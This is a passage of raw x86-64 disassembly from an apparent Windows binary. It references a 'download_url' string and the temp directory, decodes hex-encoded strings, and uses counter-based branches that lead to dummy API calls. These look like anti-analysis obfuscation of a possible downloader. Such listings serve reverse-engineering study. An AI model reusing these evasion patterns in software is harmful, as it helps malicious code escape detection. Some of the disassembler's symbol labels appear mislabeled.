jg 0x140015a27
mov rdx, qword [rsp + 0x448]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2e8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015a57
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140015a8b
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x140015abe
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015aee
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2f8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015b1e
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x468], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015b4d
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str._L_download_url
lea rcx, [rsp + 0x108]
call fcn.140002df8
nop
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x318]
call fcn.140022500
mov qword [rsp + 0x6a8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x638], rdx
lea rcx, [rsp + 0x308]
call fcn.140018bd8
mov qword [rsp + 0x6f0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x648], rdx
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x6b8], rax
cmp byte [rax + 8], 4
setne byte [rsp + 0x59]
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015c00
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x488], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015c33
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x108]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x328], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015c65
mov rdx, qword [rsp + 0x328]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x59], sil
je 0x140015e5e
mov ecx, dword [0x1401aad80]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jge 0x140015c89
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 5
jne 0x140015d03
movsd xmm3, qword [0x14013f170]
movsd qword [rsp + 0x498], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0xe8], xmm2
movd xmm4, ecx
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0xe8], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140015ceb
subsd xmm2, xmm3
movsd qword [rsp + 0xe8], xmm2
divsd xmm3, qword [0x14013f198]
movsd qword [rsp + 0x498], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013f168]
ja 0x140015cb3
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x338], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015d33
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015d63
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140015d97
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x140015dca
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x348], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015dfa
mov rdx, qword [rsp + 0x348]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015e2a
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x358], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015e59
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str._L_download_url
lea rcx, [rsp + 0x120]
call fcn.140002df8
nop
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x4d8]
call fcn.140022500
mov qword [rsp + 0x658], rax
mov rdx, qword [rax]
mov qword [rsp + 0x6e0], rdx
lea rcx, [rsp + 0x4c8]
call fcn.140018bd8
mov qword [rsp + 0x668], rax
mov rdx, qword [rax]
mov qword [rsp + 0x5b8], rdx
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x5c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x5d0], rdx
lea rcx, [rsp + 0x70]
call fcn.140002df8
nop
mov rcx, qword [rsp + 0x4c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x368], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015f19
mov rdx, qword [rsp + 0x368]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x4d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x378], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015f4c
mov rdx, qword [rsp + 0x378]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x120]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015f7e
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax - 0x10]
mov dword [rsp + 0x5a8], ecx
test ecx, ecx
jne 0x140016120
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x388], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015fc5
mov rdx, qword [rsp + 0x388]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015ff5
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x398], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016025
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140016059
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x14001608c
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400160bc
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3a8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400160ec
mov rdx, qword [rsp + 0x3a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001611b
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x5e0], rax
lea rax, [rsp + 0x148]
mov qword [rsp + 0x5f0], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x3b8]
call fcn.140002d5c
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x148]
call fcn.140002d5c
nop
mov r8, rbx
mov rdx, rax
mov rcx, r13
call fcn.1400172f8
test al, al
jne 0x14001634b
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xb
jne 0x1400161c0
call fcn.1400be2e0
mov ecx, dword [0x1401aad80]
cmp ecx, eax
jne 0x1400161c0
dec ecx
mov dword [0x1401aad80], ecx
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3c8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400161f0
mov rdx, qword [rsp + 0x3c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016220
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3d8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016250
mov rdx, qword [rsp + 0x3d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140016284
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x1400162b7
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400162e7
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3e8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016317
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016346
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
mov rax, qword [rsp + 0x70]
movzx ecx, word [rax]
cmp cx, word [0x14013a43c]
jne 0x14001637a
movzx ecx, word [rax + 2]
cmp cx, word [0x14013a43e]
jne 0x14001637a
movzx ecx, word [rax + 4]
cmp cx, word [0x14013a440]
jne 0x14001637a
mov ecx, esi
jmp 0x14001637f
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x4e0], ecx
test ecx, ecx
sete cl
mov byte [rsp + 0x81], cl
test cl, cl
jne 0x140016dea
movzx ecx, word [rax]
cmp cx, word [0x14013a444]
jne 0x1400163c4
movzx ecx, word [rax + 2]
cmp cx, word [0x14013a446]
jne 0x1400163c4
movzx ecx, word [rax + 4]
cmp cx, word [0x14013a448]
jne 0x1400163c4
mov eax, esi
jmp 0x1400163c9
sbb eax, eax
or eax, 1
mov dword [rsp + 0x158], eax
test eax, eax
sete al
mov byte [rsp + 0x80], al
test al, al
jne 0x140016dea
mov word [rsp + 0xa80], si
xor edx, edx
mov r8d, 0x206
lea rcx, [rsp + 0xa82]
call fcn.1400c2d60
lea rdx, [rsp + 0xa80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x440], eax
test eax, eax
jne 0x14001671b
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x600], rax
lea rdx, str.123934323a1024253e04213530253404233d0e16342505343c21013025390e
lea rcx, [rsp + 0x3f8]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x588]
call fcn.1400233a4
mov rbx, rax
lea rcx, [0x1401a29a8]
mov rdx, qword [0x1401a29a8]
call qword [rdx + 0x18]
mov qword [rsp + 0x610], rax
lea rcx, [rax + 0x18]
mov qword [rsp + 0xf8], rcx
mov r8, rbx
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x568]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rcx, qword [rsp + 0x568]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x408], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400164d8
mov rdx, qword [rsp + 0x408]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001650b
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x588]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x420], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001653d
mov rdx, qword [rsp + 0x420]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xb
jne 0x140016590
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400165c0
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x430], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400165f0
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016620
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140016654
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x140016687
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x150], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400166b7
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x160], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400166e7
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x170], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016716
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, [rsp + 0xa80]
lea rcx, [rsp + 0x78]
call fcn.140001f6c
nop
mov rax, qword [rsp + 0x78]
mov edx, dword [rax - 0x10]
mov dword [rsp + 0x168], edx
lea ecx, [rdx - 1]
mov dword [rsp + 0x550], ecx
test ecx, ecx
js 0x140016ddf
mov dword [rsp + 0x178], edx
cmp ecx, edx
jg 0x140016ddf
movsxd rcx, ecx
movzx edx, word [rax + rcx*2]
mov word [rsp + 0xa8], dx
cmp dx, 0x5c
je 0x140016830
lea rdx, str._L__
lea rcx, [rsp + 0xc8]
call fcn.140001f6c
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x180]
call fcn.140022500
mov qword [rsp + 0x620], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x528], r8d
mov qword [rsp + 0x630], rdx
lea rcx, [rsp + 0x78]
call fcn.14000e884
nop
mov rcx, qword [rsp + 0x180]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x190], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400167fe
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x1a0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016830
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xb0]
call fcn.140002d5c
nop
lea rcx, [rsp + 0x1b0]
call fcn.140021e68
mov qword [rsp + 0x640], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x3e0], r8d
mov qword [rsp + 0x650], rdx
lea rcx, [rsp + 0x78]
call fcn.14000e884
nop
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x1c0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400168ac
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x70]
call fcn.140026458
test al, al
jne 0x140016c6a
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x140016908
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x660], rax
lea rdx, str.123934323a1024253e04213530253404233d0e19252521053e13383f30232817383d3403342024342225
lea rcx, [rsp + 0x1d0]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.1400233a4
mov rbx, rax
lea rcx, [rsp + 0x200]
call fcn.140001f34
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x1f0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400169a1
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x200]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x210], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400169d4
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x220]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x230], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016a07
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov r9d, dword [0x1401aad80]
mov r8d, r9d
imul r8d, r9d
imul r8d, r9d
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
add ecx, ecx
sub r8d, ecx
cmp r8d, 0xd
jne 0x140016a7c
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x63
movsxd rcx, r9d
lea eax, [r8 - 9]
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0x670], rax
mov rcx, rax
call fcn.1400be048
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x240], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016aaf
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x250], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016adf
mov rdx, qword [rsp + 0x250]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x260], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016b0f
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x270], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016b3f
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x280], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016b6f
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140016ba3
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x140016bd6
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x290], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016c06
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rdx]
